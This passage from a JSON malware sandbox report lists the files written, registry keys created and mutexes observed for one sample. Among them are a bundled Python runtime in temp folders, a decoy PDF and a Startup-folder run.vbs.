pe":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\c60c52d01b084a29a84070a36c713840.aes","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\43ed62a4e0544c28932cf53619d613a8.zip","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\libffi-8.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\libssl-3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\MAJE.dat","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\py.exe","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\python.cat","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\python.exe","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\python311.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\python311.zip","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\python311._pth","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\run.py","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\suds_00000000000000041.wsf","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\suds_000000000000041.wsf","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\winsound.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_msi.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\7z_encrypted.bin","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\libffi-8.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\libssl-3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\py.exe","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\python.cat","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\python.exe","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\python311.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\python311.zip","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\python311._pth","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\run.py","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\winsound.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_msi.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\SystemDrivers\\macOSx\\macOS\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\sys_installer_27525.exe.log","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\t2si523r","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Mango.pdf","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\7z_encrypted.bin","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\libffi-8.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\libssl-3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\py.exe","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\python.cat","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\python.exe","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\python311.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\python311.zip","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\python311._pth","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\run.py","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\winsound.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_msi.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\macOS\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\ow\\Adobe\\Acrobat\\11.0\\ReaderMessages","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\FAP4CCB.tmp","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\ow\\Adobe\\Acrobat\\11.0\\ReaderMessages-journal","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\Adobe\\Acrobat\\11.0\\SharedDataEvents","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\us63cnsk","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\Drivers\\run.vbs","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\run.vbs","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\tmp67_g0g76.xml","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%APPDATA%\\drivers.exe","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vq02svxc.ugw.ps1","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_mo1bt2kt.jqf.psm1","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5396:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\SM0:5396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:5396:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:5396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1352:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1352:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedO